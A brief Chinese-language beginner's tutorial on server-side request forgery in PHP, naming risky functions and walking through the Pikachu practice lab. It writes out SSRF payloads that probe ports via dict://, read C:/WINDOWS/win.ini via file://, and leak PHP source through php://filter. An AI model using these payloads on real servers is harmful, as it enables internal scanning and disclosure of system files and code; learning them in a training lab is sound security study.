利用一个可以发起网络请求的服务,当做跳板来攻击其它服务
简单来说就是:
A让B帮忙访问C,如果是在B是不知情的情况下呢?
PHP中下面函数的使用不当会导致SSRF
file_get_ contents()
fsockopen()
curl_exec()
这些函数可以通过网络协议访问目标服务器上的资源
file_get_contents()是一个 PHP 函数,用于将文件的内容读入字符串。这是将文件的全部内容读入单个字符串变量的便捷方法。该函数将文件名或 URL 作为其参数,并以字符串形式返回文件的内容
// Read the contents of a file into a string
$content = file_get_contents('example.txt');
// Output the contents
echo $content;
// Fetch the contents of a URL into a string
$html = file_get_contents('http://example.com');
// Output the HTML content
echo $html;
curl_exec()是 PHP 中的一个函数,是 cURL(客户端 URL)扩展的一部分。它用于执行 cURL 会话,这意味着它发送 cURL 请求并检索结果。cURL 是一个库和命令行工具,用于使用 URL 传输数据。
fsockopen()是一个PHP函数,用于打开网络套接字连接,通常用于通过网络建立与服务器的连接。它允许 PHP 脚本使用 TCP/IP、UDP 或 SSL/TLS 等协议与其他服务器进行通信。
观察url地址栏,发现没什么过滤加密。
构造?url=dict://ip地址:端口号
构造?url=file:///C:/WINDOWS/win.ini
构造?file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php
注意这里利用的是 file_get_content()所以url中不是相上面一样?url而是?file
作为初学者我只知道在pikachu靶场中只需要略微修改url将?url改为?file即可
例如
构造?url=dict://ip地址:端口号
改为?file=dict://ip地址:端口号
构造?url=file:///C:/WINDOWS/win.ini
改为?file=file:///C:/WINDOWS/win.ini